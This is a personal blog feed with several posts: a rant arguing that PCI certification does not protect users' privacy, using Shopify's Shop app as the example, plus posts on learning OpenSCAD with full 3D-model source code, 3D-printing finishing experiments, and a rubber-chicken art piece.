manchicken here… https://manchicken.com Thu, 19 Mar 2026 15:36:56 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 A Rant About Enshittification https://manchicken.com/2026/03/19/a-rant-about-enshittification/ Thu, 19 Mar 2026 14:55:32 +0000 https://manchicken.com/?p=1636 Hello, friends. Today’s post is going to be a little more ranty than normal; feel free to skip if you like. My day job involves […]

]]>
Hello, friends. Today’s post is going to be a little more ranty than normal; feel free to skip if you like. My day job involves cybersecurity, and in this field it is commonplace for organizations to over-state the security benefit of their certifications. Keep in mind that all of these different certifications do add value, but they don’t always add value for all parties involved equally. If you work in the field, please understand that I am writing this for non-practitioners.

PCI is an acronym for “Payment Card Industry,” and it’s important you know that as that is the primary beneficiary of the PCI certification. DSS is an acronym for “Data Security Standard,” and this is the standard against which systems are certified by PCI. This certification primarily covers two things: card data and user authentication data which could give someone access to card data. When I say card data I specifically mean:

  • The card number
  • The expiration date
  • The 3-to-4 digit code that you’re often asked for

When I say user authentication data I mean:

  • Password
  • Any secondary factors such as a time-based one-time-password (TOTP, the little code your bank texts you when you’re trying to log in)
  • Note that the email address and username are not included

These standards exist to reduce business risk to the payment card industry, making it less likely that financial institutions and card networks will experience losses due to fraud or other security problems. While the rhetoric around PCI audits is often very reassuring and safe-sounding, it is crucial for end-users (people using the system, not the businesses providing the system) to understand that this certification does not protect you any farther than your credit card number.

Scope management

Audits are expensive, and doing the work necessary to improve systems to sustain an audit is even more expensive, so most security frameworks have a flexible set of rules around what is “in-scope.” If a business has a website which combines both really interesting articles about coffee, but also sells coffee (and who wouldn’t want to sell coffee?!), they’re not going to want to do the work of hardening and auditing their WordPress install alongside their e-commerce app. Matter of fact, they may not even want to audit the entire e-commerce app! I’ve seen organizations limit their PCI audit to just the checkout and login functionality, which is perfectly fine under PCI.

This means that the warehouse integrations (almost always plural), coupon system, profile management, content management system, and customer service systems are likely out-of-scope. Every organization will draw this in-scope line differently, but I’ve never seen an organization consider their entire application in-scope, not even when I worked for a company whose business was just credit card processing (they kept the check processing side separate).

Why scope matters to users

While it is genuinely wonderful that PCI protects your cardholder data, there is so much left on the table. Here are all of the information types not required to be in-scope for PCI:

  • Full legal name
  • Physical or mailing address
  • Phone number
  • Email address
  • User information linked to other third-party systems (like social media user names)
  • Checking and savings account numbers
  • Government ID numbers (SSN, Passport Number)
  • Location data
  • Search history
  • Purchasing history
  • Your contacts list
  • Biometric information like Face ID, Touch ID, or facial recognition information

When you look at the giant pile of highly sensitive user data present here it’s easy to see how this certification will not protect end users. If a web application is PCI certified, it could still lead to scams, stalking, financial fraud, and even identity theft; PCI does not protect users.

A common practice for organizations which must comply with PCI is to construct entirely separate infrastructure for the login system and the checkout page, and then limit scope to just that. This means that they obtain their certification without the auditor ever reviewing any part of the system beyond those limited systems. This reduces the value of that certification to the user as literally every other part of the system is excluded from the audit.

But that’s not what PCI is for; why bring it up?

I hear all of my colleagues and fellow hackers in the non-existent comments: but this isn’t what PCI is for! They’re right. PCI is a narrowly-scoped certification to make sure that businesses are taking reasonable measures to protect the data security for systems involved in the processing of payment card transactions; nothing more. So why am I bringing this up? Let’s go on a user-experience journey I’ve had recently, and I hope by the end you’ll understand.

As enshittification progresses, companies have increasingly started moving functionality into areas where they can demand users to disclose more valuable sensitive information. In the United States, where the collection and sale of user data is not at all prohibited and consent is not required (except in limited jurisdictions based on physical location, which totally makes sense on the internet right?), companies can collect a fee from merchants during a sale while also requiring users to use a mobile phone app in order to track shipping information. This is precisely what Shopify is doing.

Shopify supplies other folks’ e-commerce customers with an easy-to-use express checkout option which makes it easier and more secure to check out on several sites. Once you look at your receipt, though, you’ll see a “Track order with Shop” when your order has shipped, but they won’t disclose the tracking information outside of the app. If you click the button, it gives you a QR code to download and run a mobile app.

So in order for me to track this order I have to download and use their app from the Apple App Store. Why not show me the tracking information? Shop assures me that this is so in order to maintain the “mobile-first experience.” This is really interesting, though, because as most companies out there the mobile-first experience is actually a web-first experience locked in the prison of a mobile phone app, and we know this because Shopify has been very clear that they use React Native for mobile app development.

React Native is a set of libraries which allow you to take your website code and convert it into a mobile phone app for Android and iOS with minimal code changes. It’s really powerful and it has helped a number of developers reuse code in interesting ways that save time and protect the user experience. It allows them to maintain theming and branding, preserve graphics that are important to user functionality, and it drastically reduces the number of problems that are limited to only one platform. It does, however, mean that there really isn’t a “mobile-first” component, as the purpose of React Native is to abstract away the mobile handset itself, and to stick the web app inside of a mobile app shell; it’s still using all of the same web technologies. So why would a company produce an app with web technologies, limit the web-visible side and force people into a mobile app?

Mobile apps can be controlled by the developer, bypassing browser-based security and privacy settings. Using this approach, Shopify can require you to give them a bunch of data that is valuable. This data is then either packaged and sold by the company, or used by that company to provide additional services to business customers such as targeted marketing and advertisements. Shopify’s privacy policy makes room for this line of business explicitly when they say they can use your personal information “[t]o market, advertise, and promote Shopify and Merchants on and off Shopify, including for personalized communications or advertisements relating to Shopify and Merchants on third-party services.”

This means that Shop is collecting your data on and offline, any time they can correlate a data point to your activity. Forget to close the Shop app? It could be tracking your location as you walk around. This allows them to correlate your online and offline shopping habits, and that is very creepy but very valuable to these companies.

All of this is to say that there’s no reason why Shopify can’t put the tracking information on their website and also offer the mobile app for those who want it. They only require the use of the mobile app because they wish to collect this valuable information for their own business purposes which add zero value to users.

I know that I’m picking on Shopify here, but they’re far from the only bad actor here, and they’re far from the worst. Shopify, to their credit, offers you an opt-out regardless of where you live (unlike CrunchyRoll whose parent company Sony will only allow you to opt out if you live in a state which requires them to). While it is unquestionably a good thing that they offer this opt-out, they’re clearly still participating in this user data marketplace and I don’t think that’s OK.

Why is it a problem?

While the creepy factor is one I have a hard time putting down, there are other problems here as well. It’s March of 2026, and I’ve already received four letters in the mail this year related to security breaches. These are companies that I’ve done business with but who have experienced a data breach, meaning more and more of my personal data is being leaked to scammers and dipshits online. This means more scam attempts, more unwanted attention from threat actors, and also more junk mail, telemarketers, and government surveillance.

The FBI has now publicly acknowledged that it is purchasing user data from private companies and using it for surveillance purposes. This means that when you buy something online, or use identity verification services, or just read an article on a site with a bunch of ads, you could be contributing to a profile that the FBI constructs regardless of Fourth Amendment protections. DHS/ICE has also been doing this, and it has already been used to attack individuals exercising their First Amendment rights and to hunt down targeted minorities for government harassment, detention, and expulsion without due process of law.

What can we do about it?

Complain. Complain to merchants, and complain to your elected representatives. While some companies will respond and do better, that’s not a sustainable path to regaining our privacy: we need policy solutions which go beyond regulating security and user control of their own data.

We have seen a number of data regulation regimes over the last decade, but there’s one thing we haven’t yet seen take hold: anti-enshittification measures. We need policies which require companies to accommodate users who wish to retain their privacy, and we need limits on what information companies can harvest from users without their knowledge and consent. We need requirements that vendors must be disclosed, and that their security and privacy practices are compatible with the applications which depend on them.

It’s been more than thirty years of unregulated ad-tech on the internet, and despite all of the promises of self-regulation and the concerns about regulations stifling innovation, we now know better. Limiting the collection and indefinite storage of user data only stifles the variety of innovation that harms users, and these companies will never regulate themselves with users in mind.

Wait, why were we talking about PCI?

Yesterday I reached out to Shop app folks and complained that I couldn’t access tracking information without their app. Their response was to tell me that there’s nothing to worry about, that they are PCI certified, and I can rest assured that my information is safe with them. These fine people, and I mean that, likely don’t understand that what they’re saying is non-responsive to my objections. A PCI audit is as relevant to my privacy concerns as a kitten is to the manufacture of industrial lathes in Taiwan, but it sounds reassuring and it’s probably in their customer service script for that reason.

I wrote this post mostly to process, but also to make sure folks understand that from the perspective of the end-user, a PCI certification adds little value over a modestly reduced likelihood that your card number won’t be stolen. Businesses are required by the terms of their merchant agreements to comply with PCI. It doesn’t make the organization more trustworthy, it doesn’t protect your privacy, and it’s not even a signal that they take security seriously.

Thanks for joining me for this opinionated journey.

]]>
Experimentation in Art https://manchicken.com/2026/03/16/experimentation-in-art/ Mon, 16 Mar 2026 21:08:05 +0000 https://manchicken.com/?p=1630 This is just a brief post, I’m working on some tests for stuff and thought I’d share. As I’ve tried to incorporate 3D models into […]

]]>
This is just a brief post, I’m working on some tests for stuff and thought I’d share.

As I’ve tried to incorporate 3D models into my art, I’m finding the need to test in the physical mediums I work in just as important as testing the code I work with. For 3D printing I’m often trying to find a better way to arrange the model for a better finish, or I’m experimenting with finishing techniques. I’ve changed a lot about my process already just from these experiments. Here are a few changes I’ve made, and keep in mind these are all provisional.

Filament dryer

I love my vise, but my vise mars the crap out of everything. I found a model for jaw covers which I printed in TPU. My feeder kept getting jammed, though, so I sprung for a Creality Space Pi filament dryer. Once I dropped the temp to 210ºC and I used the filament dryer for four hours prior to print, I was able to successfully print the model in TPU.

A red rubber chicken in a vise sporting some pretty red jaw covers.

This was the first print that really required me to experiment a lot before I got a usable result. After several experiments, I’ve been using the dryer for everything. It’s easier to use than the roll arm that came with my printer, and it does lead to better results.

Sanding sucks, automotive filler primer is better

I’ll show you the results when I have them, but I’ve been finding Rustoleum’s automotive filler/primer to be incredibly helpful for models I use in art where the finish matters. It fills in the striping that is typically present on models, it’s cheap, it’s easy to apply, and you can sand it to the smoothness you want. If you mixed this with an enamel paint I bet you could even get a polished surface.

Reusable testing models

I’ve started a repository where I am building out test models for experiments. Here’s one I made for experimenting with finishing techniques!

This model (you’ll see I’ve got it doubled-up on the bed) gives me six different swatches I can use to test.

/**
 WARNING: Make sure that the dimensions will fit on your bed!
 **/

$fa=1;
$fs=0.4;
$fn=128;

// Sizes for the test patch
test_patch_thickness=4;
test_patch_width=30;
test_patch_length=30;
test_patch_segments=6;
test_separator_width=3;
test_separator_thickness=2;

label_depth=1;

module segment(index=0, is_last=false) {
    difference() {
        union() {
            cube([
                test_patch_width,
                test_patch_length,
                test_patch_thickness
            ]);
            if (is_last == false) {
                translate([test_patch_width,0,0]) cube([
                    test_separator_width,
                    test_patch_length,
                    test_separator_thickness
                ]);
            }
        }
        translate([
            1,
            1,
            test_patch_thickness-label_depth
        ])
            linear_extrude(label_depth+0.001) {
                text(index,size=3);
            }
    }
}

for (i = [0:test_patch_segments-1]) {
    x_offset=(i*test_patch_width)+(i*test_separator_width);
    translate([x_offset,0,0])
        segment(str(i), i >= (test_patch_segments-1));
}

In this model I’m making n swatches separated by 3mm boundaries. I’m also labeling the swatches to help track experiments as I go. I’m going to be testing some new paint markers on these.

One of them I’m going to use with automotive filler and the other one I’m going to just paint without the primer. The purpose of these is to use as little material as possible while allowing you to test techniques that will give you the outcome you’re looking for.

My experiments repository

Here’s my repository for experiments, you’re free to use it (GPLv3-or-later): https://codeberg.org/manchicken/experimental_scad_models

If you have any experimental models you’d like to contribute back, feel free to submit a PR or contact me with a link.

I’m going to do a post again soon with the outcome of the experiments. Thanks for reading.

]]>
<3 OpenSCAD https://manchicken.com/2026/03/10/3-openscad/ Wed, 11 Mar 2026 01:19:31 +0000 https://manchicken.com/?p=1611 I know that I had the piece a few days ago about the OpenSCAD tutorial, but I kinda gotta come back and talk about this more. This is bonkers and I love it so much.

]]>
I know that I had the piece a few days ago about the OpenSCAD tutorial, but I kinda gotta come back and talk about this more. This is bonkers and I love it so much.

As I’ve alluded to in the past, I’m in the middle of making a [REDACTED] for [REDACTED] this year, which calls for a 3D model for printing. I’ve tried so many different tools, open source and proprietary, and OpenSCAD is the first one that I’ve worked with that worked for me in a way that I understand. I know that other tools are likely far more capable, but so far I haven’t run into any limits of OpenSCAD. I parameterized every size so that I could tweak it and keep up with the math a bit more easily, and the OpenSCAD syntax makes this super easy. This particular model is meant to look like a hard hat, so let’s talk about the model and the code (yes, it’s code), and the process I went through to get there.

Notes really quick

Quick set of notes as we dig in:

  • OpenSCAD is read right-to-left by the interpreter, so if I have sphere(1) and I want to resize it to being an pill shape, I would use resize([100,50,50]) sphere(1). The sphere(1) is evaluated first, and resize([]) is evaluated second, with the output of sphere(1) as its input.
  • I’ll past the whole source file at the end of the article, so if you see a variable and you wonder what its value is check there.
  • The appearance of the OpenSCAD app itself isn’t really important here, though it is very yellow.
  • In a difference() transform, the first child element is the starting point and everything that follows is subtracted from it.
  • In OpenSCAD you can use any unit of measure so long as that unit of measure is millimeters or degrees (for angles). Inches, radians, fathoms, these are not supported units in OpenSCAD from what I understand. In OpenSCAD a dimension of 1 means a dimension of 1mm.

Getting started

The primatives of the model which resemble a lemondrop candy.

So when I started on this model, I used resized sphere primitives for the dome of the hat and the brim. I took a cylinder primitive and rotated it 90 degrees to make the ridge that’s typical across the top middle of many hard hat types. You can see above how these three primitives kinda fit together, but this most certainly does not look like a hat.

union() {
    // Top shell
    resize([
        hat_width,
        hat_length,
        hat_depth*2
    ])
        sphere(1);
    // Vertical ridge
    resize([
        hat_ridge_width,
        hat_length+hat_ridge_thickness,
        hat_depth*2+hat_ridge_thickness
    ])
        rotate([0,90,0])
        cylinder(h=1, d=1,center=true);
    // Brim of hat
    resize([
        hat_width+brim_width,
        hat_length+brim_width,
        brim_height*2
    ])
        sphere(1);
}

You can see I have the top shell, which is a sphere. I start the sphere with a radius of 1 because it doesn’t matter, I’m immediately resizing it. After that I use the cylinder to make the ridge and then another sphere that I flatten considerably becomes the brim. I union all of those items, and next it’s time to start removing stuff to make it more hat-shaped and less lemon drop shaped.

It's looking more hat-shaped! You can see inside the hat (where a hypothetical head would go) and you can see the brim is offset inward a little.

So here we are, the hat looks a lot more like a hat. Here’s the code:

difference() {
    union() {
        // Top shell
        resize([
            hat_width,
            hat_length,
            hat_depth*2
        ])
            sphere(1);
        // Vertical ridge
        resize([
            hat_ridge_width,
            hat_length+hat_ridge_thickness,
            hat_depth*2+hat_ridge_thickness
        ])
            rotate([0,90,0])
            cylinder(h=1, d=1,center=true);
        // Brim of hat
        resize([
            hat_width+brim_width,
            hat_length+brim_width,
            brim_height*2
        ])
            sphere(1);
    }
    // Remove an offset for the bottom
    color("red") translate([0,0,0])
        resize([
            hat_width+brim_width-lip_width,
            hat_length+brim_width-lip_width,
            2//lip_thickness
        ])
        cylinder(h=1,d=1);
    
    // Remove lower portion of brim
    translate([0,0,-hat_depth-hat_ridge_thickness+0.5])
        cylinder(
            h=hat_depth+hat_ridge_thickness,
            d=hat_length+brim_width
        );

    // Remove interior sphere
    translate([0,0,0])
        resize([
            hat_width-hat_thickness,
            hat_length-hat_thickness,
            hat_depth*2-hat_thickness
        ])
        sphere(1);
}

The union() statement is just what we have before, everything else is a Boolean transform on that. You can see that from that lemon drop shape I have first removed a portion of the under-side of the brim. This creates a lip that the cover will set into. After that I remove the lower half of the lemon drop using a cylinder primitive. After that, I remove the inside of the hat where a hypothetical head would go using a sphere primitive. This can be a little tricky as you develop your model, but OpenSCAD syntax allows you to prefix a percent symbol to the beginning of any statement and it’ll render a translucent variant so you can see it. Here I am viewing the sphere I’m removing from the interior of the hat.

The hard hat, but with the sphere being deleted from the inside portion of the hat where the head would go rendered in a semi-translucent white.

Before:

    // Remove interior sphere
    translate([0,0,0])
        resize([
            hat_width-hat_thickness,
            hat_length-hat_thickness,
            hat_depth*2-hat_thickness
        ])
        sphere(1);

After:

    // Remove interior sphere
    %translate([0,0,0])
        resize([
            hat_width-hat_thickness,
            hat_length-hat_thickness,
            hat_depth*2-hat_thickness
        ])
        sphere(1);

This is super helpful as you’re first developing your model, and it allows you to see the full extent of what you’re working with.

Screw holes!

This model needs to have a cover that screws on, so now I need screw holes. I iterated over the screw holes a lot, and I essentially came up with cylinder primitives with smaller cylinder primitives subtracted from them in their middle. After I worked on these a bit, I realized that there’s no need to repeat myself, so I took a page from DRY and made a module!

module screw_hole_post(
    hole_size=screw_hole_size,
    hole_post_size=screw_hole_post_size,
    hole_post_length=screw_hole_post_length,
    offset_x=screw_hole_offset_x,
    offset_y=screw_hole_offset_y,
    offset_z=screw_hole_offset_z
) {
    difference() {
        translate([
            offset_x,
            offset_y,
            offset_z
        ])
            cylinder(
                h=hole_post_length,
                d=hole_post_size
            );
        translate([
            offset_x,
            offset_y,
            offset_z-1
        ])
            cylinder(
                h=hole_post_length,
                d=hole_size
            );
    }
}

In OpenSCAD, functions are closer to their mathematical understanding, and modules are for reusable pieces. You can see this module simple creates one cylinder and then subtracts a smaller cylinder from its middle. Here, I’ll add it to the hat now.

union() {
    for (dims = [
            [1,1,1],
            [-1,-1,1],
            [-1,1,1],
            [1,-1,1]
        ]) {
            screw_hole_post(
                hole_size=screw_hole_size,
                hole_post_size=screw_hole_post_size,
                hole_post_length=screw_hole_post_length,
                offset_x=dims.x*screw_hole_offset_x,
                offset_y=dims.y*screw_hole_offset_y,
                offset_z=dims.z*screw_hole_offset_z+lip_thickness
            );
    }
}

You can see here that I’ve used my screw_hole_post module inside of a for loop. This allows me to create four different screw hole posts based on those four vectors in the dims matrix (a matrix is a vector of vectors). So I make my four screw holes and hit F5 to render.

The hard hat with screw hole posts, but they're protruding through the top of the hat.

This is very close to what I want, but not quite what I want. I don’t want the screw hole posts sticking out through the top of the hat, so it’s time to use another Boolean transform: intersection()!

union() {
    intersection() {
        translate([0,0,0])
            resize([
                hat_width-hat_thickness,
                hat_length-hat_thickness,
                hat_depth*2-hat_thickness
            ])
            sphere(1);
        for (dims = [
                [1,1,1],
                [-1,-1,1],
                [-1,1,1],
                [1,-1,1]
            ]) {
            screw_hole_post(
                hole_size=screw_hole_size,
                hole_post_size=screw_hole_post_size,
                hole_post_length=screw_hole_post_length,
                offset_x=dims.x*screw_hole_offset_x,
                offset_y=dims.y*screw_hole_offset_y,
                offset_z=dims.z*screw_hole_offset_z+lip_thickness
            );
        }
    }
}

This snippet is doing a lot, so here it is step-by-step (ordered!):

  1. The four screw hole posts are created inside the for loop based on the dims matrix, just as before.
  2. Then it calculates a sphere which matches the dimensions of the hat, less its thickness.
  3. It’s then calculating the intersection (area of overlap) between that sphere and the screw hole posts, discarding any portions which do not have any intersections.
  4. Then it groups all of those in a union()

When it’s done, you have something that looks like this:

This is much more like it! Here we have a lip in which the cover can rest, we have screw hole posts which are only coming out the bottom, and there’s a nice cavity for electronics.

Now for the cover

The cover is pretty straight-forward: it’s a thin slice of material matching the dimensions of the inside of the lip with small enough tolerance that we can fit it into position but not too loose of a fit that it just falls out. It’ll need holes that line up with the screw holes, and its thickness should be such that when it’s in position it’s flush with the lip on the brim. We want something like this…

Here’s the code:


// Bottom cover
difference() {
    // This is the actual cover itself.
    translate([
        cover_offset_x,
        cover_offset_y,
        cover_offset_z
    ])
        resize([
            hat_width+brim_width-lip_width-cover_dimensional_offset,
            hat_length+brim_width-lip_width-cover_dimensional_offset,
            cover_thickness
        ])
        cylinder(
            h=1,
            d=1
        );

    // Screw holes in the cover
    for (dims = [
            [1,1,1],
            [-1,-1,1],
            [-1,1,1],
            [1,-1,1]
        ]) {
        translate([
            dims.x*screw_hole_offset_x+cover_offset_x,
            dims.y*screw_hole_offset_y+cover_offset_y,
            dims.z*cover_offset_z-1
        ])
            cylinder(
                h=cover_thickness*2,
                d=screw_hole_size
            );
    }
}

You’ll see some patterns here that are familiar, let’s go over it. First things first, this is going to be a difference() Boolean operation, so the first item is the subject and everything afterward exists only to subtract from that subject. We start with a cylinder that we’re setting to dimensions to fit tightly in the lip, less our 0.5mm tolerance. We set the thickness to 2mm. From there we’re removing material to allow the screws in. We’re using the same dims matrix that we used before, and we’re creating cylinders that are twice the thickness of the cover and with a diameter of the screw hole size in the screw hole posts.

That’s pretty much it! That’s the model. I’ll post the code below, but one thing to note: in OpenSCAD it’s important to allow room for overlap. If two objects are butted up against one another, they may or may not be connected. It’s sometimes important to make them overlap by a teensy amount, say 0.0001mm, just to make sure that there’s no ambiguity when you render.

That’s all, folks

Well, that’s my first real model that I designed myself. I hope that this gets you curious about what you could accomplish in a model of your own. As promised, here’s the full code for the model.

$fa=1;
$fs=0.4;
$fn=56;

connect_overlap=0.0001;
void_overlap_margin=5;

// Screw hole sizes
screw_hole_size=6;
screw_hole_post_size=12;
screw_hole_post_length=30;
// Screw hole offsets
screw_hole_offset_y=29;
screw_hole_offset_x=29;
screw_hole_offset_z=0;

// Hat dimensions
hat_width=90; // Width of the top dome of the hat
hat_length=100;
hat_depth=38;
hat_thickness=2;
hat_ridge_width=12;
hat_ridge_thickness=2;
brim_width=20;
brim_height=10;

// Lip dimensions, for where the cover fits
lip_width=5;
// The thickness of the lip; should be same as the cover thickness.
lip_thickness=2;

// Cover dimensions
cover_dimensional_offset=0.5;
cover_thickness=2;
cover_offset_x=120;
cover_offset_y=0;
cover_offset_z=0;


module screw_hole_post(
    hole_size=screw_hole_size,
    hole_post_size=screw_hole_post_size,
    hole_post_length=screw_hole_post_length,
    offset_x=screw_hole_offset_x,
    offset_y=screw_hole_offset_y,
    offset_z=screw_hole_offset_z
) {
    difference() {
        translate([
            offset_x,
            offset_y,
            offset_z
        ])
            cylinder(
                h=hole_post_length,
                d=hole_post_size
            );
        translate([
            offset_x,
            offset_y,
            offset_z-1
        ])
            cylinder(
                h=hole_post_length,
                d=hole_size
            );
    }
}

// Overall top shell
difference() {
    union() {
        // Top shell
        resize([
            hat_width,
            hat_length,
            hat_depth*2
        ])
            sphere(1);
        // Vertical ridge
        resize([
            hat_ridge_width,
            hat_length+hat_ridge_thickness,
            hat_depth*2+hat_ridge_thickness
        ])
            rotate([0,90,0])
            cylinder(h=1, d=1,center=true);
        // Brim of hat
        resize([
            hat_width+brim_width,
            hat_length+brim_width,
            brim_height*2
        ])
            sphere(1);
    }
    
    // Remove an offset for the bottom
    color("red") translate([0,0,0])
        resize([
            hat_width+brim_width-lip_width,
            hat_length+brim_width-lip_width,
            2//lip_thickness
        ])
        cylinder(h=1,d=1);
    
    // Remove lower portion of brim
    translate([0,0,-hat_depth-hat_ridge_thickness+0.5])
        cylinder(
            h=hat_depth+hat_ridge_thickness,
            d=hat_length+brim_width
        );

    // Remove interior sphere
    translate([0,0,0])
        resize([
            hat_width-hat_thickness,
            hat_length-hat_thickness,
            hat_depth*2-hat_thickness
        ])
        sphere(1);
}

// Screw holes
union() {
    intersection() {
        translate([0,0,0])
            resize([
                hat_width-hat_thickness,
                hat_length-hat_thickness,
                hat_depth*2-hat_thickness
            ])
            sphere(1);
        for (dims = [
                [1,1,1],
                [-1,-1,1],
                [-1,1,1],
                [1,-1,1]
            ]) {
            screw_hole_post(
                hole_size=screw_hole_size,
                hole_post_size=screw_hole_post_size,
                hole_post_length=screw_hole_post_length,
                offset_x=dims.x*screw_hole_offset_x,
                offset_y=dims.y*screw_hole_offset_y,
                offset_z=dims.z*screw_hole_offset_z+lip_thickness
            );
        }
    }
}

// Bottom cover
difference() {
    // This is the actual cover itself.
    translate([
        cover_offset_x,
        cover_offset_y,
        cover_offset_z
    ])
        resize([
            hat_width+brim_width-lip_width-cover_dimensional_offset,
            hat_length+brim_width-lip_width-cover_dimensional_offset,
            cover_thickness
        ])
        cylinder(
            h=1,
            d=1
        );

    // Screw holes in the cover
    for (dims = [
            [1,1,1],
            [-1,-1,1],
            [-1,1,1],
            [1,-1,1]
        ]) {
        translate([
            dims.x*screw_hole_offset_x+cover_offset_x,
            dims.y*screw_hole_offset_y+cover_offset_y,
            dims.z*cover_offset_z-1
        ])
            cylinder(
                h=cover_thickness*2,
                d=screw_hole_size
            );
    }
}
]]>
Learning CAD with OpenSCAD https://manchicken.com/2026/03/06/learning-cad-with-openscad/ Fri, 06 Mar 2026 14:40:32 +0000 https://manchicken.com/?p=1607 I have a confession: this past summer I bought a Creality Ender 3v3 Plus 3D printer, and I don't know how to make 3D models.

]]>
I have a confession: this past summer I bought a Creality Ender 3v3 Plus 3D printer, and I don’t know how to make 3D models. Sure, there’re a bunch of models available and some of them are very good, but I need to be able to make my own models because sometimes I need to make parts. I have tried so many times to use tools like OnShape and FreeCAD, and I can make some progress. Unfortunately, though, after more than 30 years of programming computers my brain has rotted and I think primarily in terms of instruction sets and code. Luckily for me, OpenSCAD allows you to join in the fun on CAD without having to be good at digital drawing, and without you having to learn a bunch of toolbar buttons and such: you can just use code!

The whole OpenSCAD UI, including preview, code, and logs.

This is the OpenSCAD interface, and in it you can see the model I have at the end of Chapter 1 in this really great tutorial: https://en.wikibooks.org/wiki/OpenSCAD_Tutorial/Chapter_1

I’m finding this a lot more intuitive of a process, and this code is pretty easy to follow (though it is quite imperative).

// Amount of overlap we want between objects
connect_overlap = 0.0001;
$fa=1;
$fs=0.4;

// Car body
cube([60,20,10],center=true);
translate([0,0,10 - connect_overlap])
    cube([30,20,10 + connect_overlap],center=true);
// Wheel, front-left
translate([-20,-15,0])
    rotate([90,0,0])
    cylinder(h=3,r=8,center=true);
// Wheel, front-right
translate([-20,15,0])
    rotate([90,0,0])
    cylinder(h=3,r=8,center=true);
;
// Wheel, back-left
translate([20,-15,0])
    rotate([90,0,0])
    cylinder(h=3,r=8,center=true);
// Wheel, back-right
translate([20,15,0])
    rotate([90,0,0])
    cylinder(h=3,r=8,center=true);

// Front axle
translate([20,-1*connect_overlap,0])
    rotate([90,0,0])
    cylinder(h=27+(connect_overlap*2),r=2,center=true);
// Rear axle
translate([-20,connect_overlap,0])
    rotate([90,0,0])
    cylinder(h=27+(connect_overlap*2),r=2,center=true);

There’s a lot to learn, and I’m just getting started. This learning is absolutely related to that [REDACTED] project that I discussed in Fun with NFC. I’m definitely one of those folks who skims the tutorial, but since I have time on my hands right now I’m going to go through the whole thing in the next couple of days. I won’t be posting about it every step of the way, but I will be posting about it some, and I’ll show you any prints I make while learning.

Here are my learning goals:

  1. I want to be able to design and print a base for this new art project I’m working on (stay tuned!)
  2. I need to be able to design and print the housing for an electronics project I’m working on
  3. I want to learn how to do this and then incorporate build systems so I can produce STL files without having to even open the UI

OpenSCAD has a bunch of advantages for me:

  • I think in code pretty well, so the OpenSCAD syntax will be helpful
  • The OpenSCAD syntax, being code, is easier to version-control and share
  • I want to be able to parameterize sizes and positions of things, and I think having code will help me achieve that
  • OpenSCAD will work in build systems to produce STL files from its scad syntax

That’s all

This is a brief post, I’m just having a good time.

]]>
Can You Hear Me Now? Bok. https://manchicken.com/2026/03/05/can-you-hear-me-now-bok/ Thu, 05 Mar 2026 18:44:06 +0000 https://manchicken.com/?p=1587 As promised, here’s a blog post about my piece titled “Can You Hear Me Now? Bok.” If you haven’t already, I recommend you read the […]

]]>
As promised, here’s a blog post about my piece titled “Can You Hear Me Now? Bok.”

If you haven’t already, I recommend you read the first article I wrote about this project before continuing.

I had a few goals for this project:

  1. All of the chickens must still squeak
  2. The chickens must be presented as three tiers, held upright on a base
  3. The piece is intended to be vaguely reminiscent of mobile phone signal strength bars

Meet the cast!

We have three rubber chickens on the piece. Starting from the left, we have he “just a head” chicken. To its right is the “truncated” chicken, which then has to its right a full and unmodified chicken. Each of them has had their makeup touched-up, as factory paint was pretty poor. Additionally, there are two pair of “ghost bars” done with feet.

The “just a head” chicken had to have a small flap welded over its mouth in order to allow the whistle to continue working without the bellows of the body attached to it.

Meet the base.

The base is a length of pine 2×6 that I had left over from another project (building a door for the screened-in porch). I sanded it quite a lot, removed a bunch of rough edges, and kinda just made it look like not a cheap piece of pine. It had a twist in it, too, which I had to account for on the rubber feet.

The base has 3/16″ steel rods that I threaded M5 on one end and bolted into the base using locking nuts and washers. I then super-glued the chickens to those rods in this lovely configuration.

Experimentation

I’m not exactly what you’d call an “experienced artist,” I’m quite literally just hacking this together as I go; this is hacker art, after all. There are some rough edges around this work, but it is still meant to be taken seriously as “art.” Naturally, experimentation is part of my creative process, and so I’ll share two of my experiments with you. One went well, and the other one: not so much.

On the left we have a pink rubber chicken head. You can see that it is fully attached to the steel rod (you can kinda make out the threading on the rod near my thumb. This experiment was intended to help me determine whether or not I would be able to use Gorilla Super Gel on the chicken to get it to stick to the rod. I was especially looking for weak or brittle joints, as well as damage done to the chicken as the glue reacts with the vinyl. This experiment was a wild success, the glue worked well and the joints were pretty solid. I was able to make the chicken head squeak just fine.

The second experiment, on the right, did not go so well. In working with Gorilla Super Gel, I’ve managed to get away with simply building up a wall of glue to cover a hole or fill in a gap, and I thought I’d be able to get away with it here as well. The plan was to build a wall of glue and then paint it black, and that plan failed miserably. In addition to the difficulties in getting the glue to cure, I noticed that every time I tried to squeeze the chicken a fissure opened up in the wall of glue allowing air to escape. This meant that whenever I tried to squeeze the chicken head no sound came out. More than that, because the glue wouldn’t cure I had a lot of glue that oozed out every time I tried.

First I cleaned out all of the old glue (took longer than you think, some had fallen inside the cavity) and then I had to double-back on the chicken head, and weld a piece of vinyl from the portion truncated for the middle chicken on the finished piece over the mouth of the chicken. This then needed to be painted black (was blue). While I was painting this, I noticed that the red I was using was a different shade, and then upon further examination I determined that I kinda hated the factory paint.

Painting

I painted the eyes, combs, and mouths of the chickens using acrylic paint markers. I also painted the feet red. I thought about painting the bow ties, but decided against it since there were too many tiny valleys in them where I couldn’t fit my paint marker tip, and the bow ties also looks fine.

Lessons learned

The first lesson I learned is, obviously, not to spill wood stain. From there, I learned that even if you suck with a tap-and-die, you can still make usable threads on a steel rod. My threads were pretty rough, and I got metal shavings everywhere (that was an hour of my life with a magnet and a dust buster that I’ll never get back!), but they did work. The locking nut approach (two nuts right next to each other tightened into one another) worked, but I discovered later that I have threaded nuts that will screw into the wood and let you just unscrew the rods. It would have required me to reconfigure the rods in order to use them, but I would have liked to try it out but I was already too far down the path I was on.

I learned that it’s always good to mask off areas you’re not working on to protect them. While I was experimenting with a pink rubber chicken head, making sure that it would still be squeezable without a fragile joint, I lost one drip of super glue. That one drip of superglue landed on my forearm, and that helped me think through how I was going to install the chickens on the rods. I knew I wanted the rods to be installed in the base when I glued the chickens to them, that way I would have them lined up perfectly, but I didn’t want to get any errant super glue on the base. I just snatched some AARP solicitations from that morning’s newspaper (yes, I still read a physical newspaper) and used them to protect the wood.

I learned that it’s always good to have stand-ins when you’re experimenting with new techniques. As I said in the prior post, I have a bunch of rubber chickens in a variety of colors. I knew I wanted to use the blue ones for this since blue is a common color for signal strength bars, so I used one pink rubber chicken as my test dummy when I tried out new techniques.

